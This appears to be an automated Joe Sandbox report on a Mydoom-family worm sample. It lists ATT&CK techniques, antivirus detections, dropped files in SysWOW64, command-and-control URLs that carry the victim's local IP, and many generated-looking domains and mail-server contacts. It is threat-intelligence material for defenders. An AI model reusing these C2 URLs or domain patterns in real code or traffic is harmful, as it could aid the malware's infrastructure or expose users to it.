Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	231 Virtualization/Sandbox Evasion	LSASS Memory	341 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	2 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	231 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	12 Software Packing	DCSync	3 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ydbWyoxHsd.exe	100%	ReversingLabs	Win32.Worm.Mydoom
ydbWyoxHsd.exe	78%	Virustotal		Browse
ydbWyoxHsd.exe	100%	Avira	TR/Proxy.Gen
ydbWyoxHsd.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\ctfmen.exe	100%	Avira	TR/Crypt.ULPM.Gen
C:\Windows\SysWOW64\grcopy.dll	100%	Avira	TR/Proxy.Gen
C:\Windows\SysWOW64\smnss.exe	100%	Avira	TR/Proxy.Gen
C:\Windows\SysWOW64\shervans.dll	100%	Avira	BDS/Backdoor.Gen
C:\Windows\SysWOW64\satornas.dll	100%	Avira	HTML/ExpKit.Gen2
C:\Windows\SysWOW64\ctfmen.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\zipfiaq.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\grcopy.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\smnss.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\zipfi.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\shervans.dll	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
11.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
16.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
11.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
25.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
7.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
20.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
39.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
31.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
5.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
8.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
35.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
38.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
23.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
37.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
15.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
4.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
38.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
14.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
17.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
10.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
33.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
26.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
36.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
30.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
14.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
12.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4fa1bc0.17.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
35.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
11.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
25.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
4.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
10.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
8.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4fa1bc0.18.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
19.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
20.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
13.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4f813ae.13.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.3.smnss.exe.4f78088.19.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
20.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4cbc610.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.3.smnss.exe.4f78088.21.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
18.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
3.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
16.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
5.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4fa1bc0.15.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
30.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4f813b0.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
17.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
8.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
24.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
8.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
3.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4f813b0.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
32.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
32.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
17.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
34.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
11.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4f813b0.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
34.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
39.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
16.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
15.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
21.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
26.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
32.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
29.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
16.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4f813b0.10.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.3.smnss.exe.4f813b0.5.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
9.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
34.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4fbd616.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
24.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
4.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
21.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
27.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
23.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
26.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.0.ctfmen.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
6.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
18.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
33.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
17.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
6.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
13.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
33.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
6.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
18.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
28.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
0.0.ydbWyoxHsd.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.3.smnss.exe.4f813b0.8.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
27.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
35.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
36.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
7.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File

URLs

Source	Detection	Scanner	Label
http://reaaheeara.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://aaesrmawah.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://empewsqsqa.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://pqarseshhn.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://eqprsrnprs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://ennmqsmqna.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://wpqqhhspps.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://emasqpamqs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://aharwhphnh.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://rmhhhmswqh.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://meahewphwa.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://rrhaerswna.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://enahmnhqah.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://eaehanqhsr.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://awhhsqness.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://hmpasnpmas.net/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://aaawpshran.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://aaesrmawah.com/imgs/krewa/nqxa.php?ch=1&id=4462klfz&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e	0%	Avira URL Cloud	safe
http://rsrsemnren.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://aewrhprres.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://ehrawpsrms.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://eqnhphnqms.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://erphseshhh.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://whenaeqsar.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://asnrrsamsa.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://erwrahwnhs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://emhmmwaasa.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://aanparshnh.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
enahmnhqah.ws	64.70.19.203	true	false	high
aharwhphnh.com	81.17.29.147	true	false	high
rrhaerswna.org	199.59.243.222	true	false	high
alt3.gmail-smtp-in.l.google.com	74.125.200.27	true	false	high
mx1.riseup.net	198.252.153.129	true	false	high
whenaeqsar.in	107.6.74.76	true	false	high
awhhsqness.com	81.17.18.198	true	false	high
hmpasnpmas.net	173.231.184.124	true	false	high
eaehanqhsr.ws	64.70.19.203	true	false	high
alt2.gmail-smtp-in.l.google.com	142.250.150.26	true	false	high
ennmqsmqna.ws	64.70.19.203	true	false	high
asnrrsamsa.com	81.17.18.196	true	false	high
alt1.aspmx.l.google.com	142.250.147.27	true	false	high
alt2.aspmx.l.google.com	142.250.150.27	true	false	high
mxs.mail.ru	217.69.139.150	true	false	high
alt4.gmail-smtp-in.l.google.com	142.250.157.26	true	false	high
eqprsrnprs.ws	64.70.19.203	true	false	high
gmail-smtp-in.l.google.com	142.250.102.27	true	false	high
aspmx2.googlemail.com	142.250.147.27	true	false	high
aspmx3.googlemail.com	142.250.150.27	true	false	high
rsrsemnren.org	81.17.29.146	true	false	high
alumni-caltech-edu.mail.protection.outlook.com	104.47.55.138	true	false	high
rmhhhmswqh.org	72.251.233.245	true	false	high
reaaheeara.org	199.59.243.222	true	false	high
ehrawpsrms.ws	64.70.19.203	true	false	high
aanparshnh.com	63.141.242.43	true	false	high
empewsqsqa.ws	64.70.19.203	true	false	high
pqarseshhn.in	173.231.189.15	true	false	high
wpqqhhspps.in	63.251.126.10	true	false	high
erphseshhh.ws	64.70.19.203	true	false	high
gzip.org	85.187.148.2	true	false	high
emhmmwaasa.ws	64.70.19.203	true	false	high
eqnhphnqms.ws	64.70.19.203	true	false	high
meahewphwa.in	199.21.76.81	true	false	high
aewrhprres.com	81.17.29.150	true	false	high
alt1.gmail-smtp-in.l.google.com	142.250.147.27	true	false	high
erwrahwnhs.ws	64.70.19.203	true	false	high
aaawpshran.com	63.141.242.44	true	false	high
eggs.gnu.org	209.51.188.92	true	false	high
emasqpamqs.ws	64.70.19.203	true	false	high
aspmx.l.google.com	142.250.102.27	true	false	high
aaesrmawah.com	81.17.18.194	true	false	high
pnhhpawqpa.in	unknown	unknown	false	high
hwhnrpesma.net	unknown	unknown	false	high
prmnsewqws.in	unknown	unknown	false	high
nqenrpwpeh.us	unknown	unknown	false	high
rqeaqsqpsr.org	unknown	unknown	false	high
pnaqheqnsa.in	unknown	unknown	false	high
nmnhwanmwh.us	unknown	unknown	false	high
msqepwamwn.in	unknown	unknown	false	high
pweenawwra.in	unknown	unknown	false	high
haswmnsqah.net	unknown	unknown	false	high
nspseanhrs.us	unknown	unknown	false	high
mwpmmeshma.in	unknown	unknown	false	high
raheepmpnn.org	unknown	unknown	false	high
hmaeshmwmh.net	unknown	unknown	false	high
pmnrrneaah.in	unknown	unknown	false	high
whqrmqmnrs.in	unknown	unknown	false	high
sqmswpnqws.biz	unknown	unknown	false	high
hmqrapnpsh.net	unknown	unknown	false	high
nerrawwees.us	unknown	unknown	false	high
aeaqnwmhes.com	unknown	unknown	false	high
smrnnmaqra.biz	unknown	unknown	false	high
pwramqmsms.in	unknown	unknown	false	high
snshrmsmmh.biz	unknown	unknown	false	high
mwhnpqrmrn.in	unknown	unknown	false	high
aqmrnawpan.com	unknown	unknown	false	high
srsersmhsa.biz	unknown	unknown	false	high
weeqshswms.in	unknown	unknown	false	high
wwnmhhenpa.in	unknown	unknown	false	high
nhseewhaps.us	unknown	unknown	false	high
wwqeemeesr.in	unknown	unknown	false	high
spmpesqama.biz	unknown	unknown	false	high
mail.ru	unknown	unknown	false	high
shprahaqrh.biz	unknown	unknown	false	high
hwenrqmmmh.net	unknown	unknown	false	high
qppamspwhs.info	unknown	unknown	false	high
rrpnmeawrs.org	unknown	unknown	false	high
wqeasppnas.in	unknown	unknown	false	high
pqnqqqrpmh.in	unknown	unknown	false	high
wmphheprha.in	unknown	unknown	false	high
swrhaapnnr.biz	unknown	unknown	false	high
npmpsewraa.us	unknown	unknown	false	high
hqepnmqewn.net	unknown	unknown	false	high
riseup.net	unknown	unknown	false	high
qmrmswrran.info	unknown	unknown	false	high
sephpsappn.biz	unknown	unknown	false	high
spawwehsrs.biz	unknown	unknown	false	high
pqarnhhhhn.in	unknown	unknown	false	high
smwrehrsph.biz	unknown	unknown	false	high
qpsnmphmhn.info	unknown	unknown	false	high
qpnphqawmh.info	unknown	unknown	false	high
neshnhhwss.us	unknown	unknown	false	high
psmrewwhhh.in	unknown	unknown	false	high
npeewrpmsh.us	unknown	unknown	false	high
mnmrweahpn.in	unknown	unknown	false	high
wpraeqahma.in	unknown	unknown	false	high
snarawppsr.biz	unknown	unknown	false	high
hqrqwrpmhh.net	unknown	unknown	false	high
nhwwheearh.us	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://reaaheeara.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://pqarseshhn.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://empewsqsqa.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://eqprsrnprs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aaesrmawah.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://wpqqhhspps.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://ennmqsmqna.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://rmhhhmswqh.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aharwhphnh.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://emasqpamqs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://meahewphwa.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://enahmnhqah.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://rrhaerswna.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://eaehanqhsr.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://awhhsqness.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://hmpasnpmas.net/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aaawpshran.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://rsrsemnren.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aewrhprres.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://ehrawpsrms.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://eqnhphnqms.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://asnrrsamsa.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://erphseshhh.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://whenaeqsar.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://erwrahwnhs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aanparshnh.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://emhmmwaasa.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://aaesrmawah.com/imgs/krewa/nqxa.php?ch=1&id=4462klfz&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e	smnss.exe, 00000002.00000002.571873028.000000000061C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
81.17.29.150	aewrhprres.com	Switzerland	51852	PLI-ASCH	false
107.6.74.76	whenaeqsar.in	United States	29791	VOXEL-DOT-NETUS	false
104.47.59.138	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.157.26	alt4.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
85.187.148.2	gzip.org	United States	55293	A2HOSTINGUS	false
217.69.139.150	mxs.mail.ru	Russian Federation	47764	MAILRU-ASMailRuRU	false
199.21.76.81	meahewphwa.in	United States	29791	VOXEL-DOT-NETUS	false
142.250.102.27	gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
94.100.180.31	unknown	Russian Federation	47764	MAILRU-ASMailRuRU	false
142.250.150.26	alt2.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
142.250.150.27	alt2.aspmx.l.google.com	United States	15169	GOOGLEUS	false
198.252.153.129	mx1.riseup.net	United States	16652	RISEUPUS	false
142.250.147.27	alt1.aspmx.l.google.com	United States	15169	GOOGLEUS	false
142.250.147.26	unknown	United States	15169	GOOGLEUS	false
81.17.29.147	aharwhphnh.com	Switzerland	51852	PLI-ASCH	false
63.141.242.44	aaawpshran.com	United States	33387	NOCIXUS	false
63.141.242.43	aanparshnh.com	United States	33387	NOCIXUS	false
72.251.233.245	rmhhhmswqh.org	United States	29791	VOXEL-DOT-NETUS	false
209.51.188.92	eggs.gnu.org	United States	22989	FREEASINFREEDOMUS	false
74.125.200.26	unknown	United States	15169	GOOGLEUS	false
104.47.66.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.125.200.27	alt3.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
81.17.29.146	rsrsemnren.org	Switzerland	51852	PLI-ASCH	false
173.231.184.124	hmpasnpmas.net	United States	29791	VOXEL-DOT-NETUS	false
81.17.18.198	awhhsqness.com	Switzerland	51852	PLI-ASCH	false
173.231.189.15	pqarseshhn.in	United States	29791	VOXEL-DOT-NETUS	false
199.59.243.222	rrhaerswna.org	United States	395082	BODIS-NJUS	false
81.17.18.194	aaesrmawah.com	Switzerland	51852	PLI-ASCH	false
81.17.18.196	asnrrsamsa.com	Switzerland	51852	PLI-ASCH	false
142.250.102.26	unknown	United States	15169	GOOGLEUS	false
64.70.19.203	enahmnhqah.ws	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
142.250.157.27	unknown	United States	15169	GOOGLEUS	false
104.47.55.138	alumni-caltech-edu.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
63.251.126.10	wpqqhhspps.in	United States	14636	INTERNAP-BLK4US	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	740383
Start date and time:	2022-11-07 22:23:04 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ydbWyoxHsd.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@282/9@416/35
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 78.3% (good quality ratio 53.8%) Quality average: 49.9% Quality standard deviation: 41.3%
HCA Information:	Successful, ratio: 99% Number of executed functions: 91 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
